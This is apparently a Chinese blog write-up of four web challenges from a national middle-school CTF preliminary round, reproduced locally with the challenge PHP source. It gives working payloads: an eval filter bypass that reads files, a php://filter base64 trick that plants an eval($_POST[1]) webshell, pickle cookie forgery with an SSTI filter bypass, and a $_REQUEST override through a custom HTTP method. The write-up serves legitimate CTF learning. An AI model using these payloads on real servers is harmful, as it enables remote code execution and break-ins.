[第四届全国中学生网络安全竞赛初赛] Web

跟着博客本地复现一下
参考:
+

babyphp

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

$mss1 = $_POST['level1'];
$mss2 = $_POST['level2'];
$mss3 = $_POST['level3'];

if (intval($mss1) < 2021 && intval($mss1 + 2) > 2022) {

    $mss4 = file_get_contents($mss2,'r');
    if ($mss4 === "mssCTF is interesting!") {
        
        if (!preg_match("/[0-9]|\`|\^|\\$|\*|\%|\~|\+|\{|\}|\'|\\\"|\,|\<|\>|\.|\/|\?/i", $mss3)) {
            echo "Regex is so wonderful!";
            echo "<br/>";
            eval($mss3);
        }

        else {
            echo "Success is near!";
            echo "<br/>";
        }
    }

    else {
        echo "Do you like PHP?";
        echo "<br/>";
    }
}

else {
    echo "Level1 is a babe trick,try again!";
    echo "<br/>";
}

第一层利用php老版本解析特性 传科学计数法intval会直接将字符串解析为0 而+2会将字符串的科学计数法转为数字再做加法

第二层利用data伪协议+(base64)来传
第三次正则还剩下字母 下划线 括号
可以利用print_r+scandir(__ FILE __) 来扫
然后利用 array_rand来返回数字 结合readfile来随机读取

array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组

也可以利用highlight_file/ show_source等

payload:

readfile(scandir(dirname(__FILE__))[array_rand(scandir(dirname(__FILE__)))]);

image

easyinclude

正好复现一下在phith0n师傅那里看到的php://filter配合base64编码绕过死亡exit

题目源码:

<?php
error_reporting(0);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_POST['c'];
if(!isset($b)){
    highlight_file(__FILE__);
}
function check_out($x){
    str_replace("data","???",$x);
    str_replace("zip","???",$x);
    str_replace("zlib","???",$x);
    str_replace("file","???",$x);
    str_replace("rot13","???",$x);
}
if($array[++$a]=1){
    if($array[]=1){
        echo "Come on!";
    }else{
        echo "Good,you have already solve the first problem";
        check_out($b);
        file_put_contents($b,"<?php die('Victory is in sight');?>".$c);
    }
}
?>

第一层绕过 利用php底层是C实现的特性

PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次方,即-2147483648到2147483647,64位系统上为2的63次方,即-9223372036854775808到9223372036854775807

取a=9223372036854775806即可绕过

下面就是经典的死亡exit绕过了
+ +
利用php://filter/write=xxx
结合base64将php代码结构破坏掉
我们先写一句话 然后base64编码:
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
前面的<?php die('Victory is in sight');?>中base64识别的是
phpdieVictoryisinsight 22个字符 我们补两个a使他为4的倍数
构造c=phpdieVictoryisinsightaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
b传php://filter/write=convert.base64-decode/resource=1.php

发现1.php成功写入
�]��br�+�+"�Ƞ�֚<?php eval($_POST[1]);?>
蚁剑一把梭即可

fake_site

没有环境 只能跟着参考文章走一遍
源码找到登陆界面 尝试登陆发现no authorization
查看到cookie是自定义的 普通base64解码出现不可见字符
尝试发现是python pickle序列化

import base64
import pickle

cookie = "gASVIAAAAAAAAAB9lCiMCHVzZXJuYW1llIwEdGVzdJSMBWFkbWlulIl1Lg=="
us = base64.b64decode(cookie.encode())
s = pickle.loads(us)
print(s)

修改传cookie 登陆成功
发现用户名被直接输出 测试发现存在SSTI fuzz一下waf 采用拼接 "" 等方法绕过即可

HS.com

题目源码:

<?php 
error_reporting(0); 
$fake_data = $_GET['innerspace']; 
$data = $_REQUEST['innerspace']; 
if ($_SERVER['REQUEST_METHOD'] === "HS") { 
    if (isset($data)) { 
        if ($data === "mssctf" && $data !== $fake_data) { 
            include_once "flag.php"; 
            echo $flag; 
        } else { 
            echo "My house is pretty big."; 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
} 
else { 
    header('HTTP/1.1 405 Something Goes Wrong'); 
    header('Allowed-Request-Method: HS'); 
}

首先要求我们Request-Method为HS 直接把GET头改掉即可
接下来就是经典的同变量覆盖
这里复习下$_REQUEST的覆盖
GET<-POST<-COOKIE<-ENV/SERVER
由于我们的请求头固定为HS 所以只能cookie传

HS /xxx?innerspace=xxx
xxx
xxx
Cookie: innerspace=msctf
posted @ 2024-01-20 17:50  N0zoM1z0  阅读(8)  评论(0编辑  收藏  举报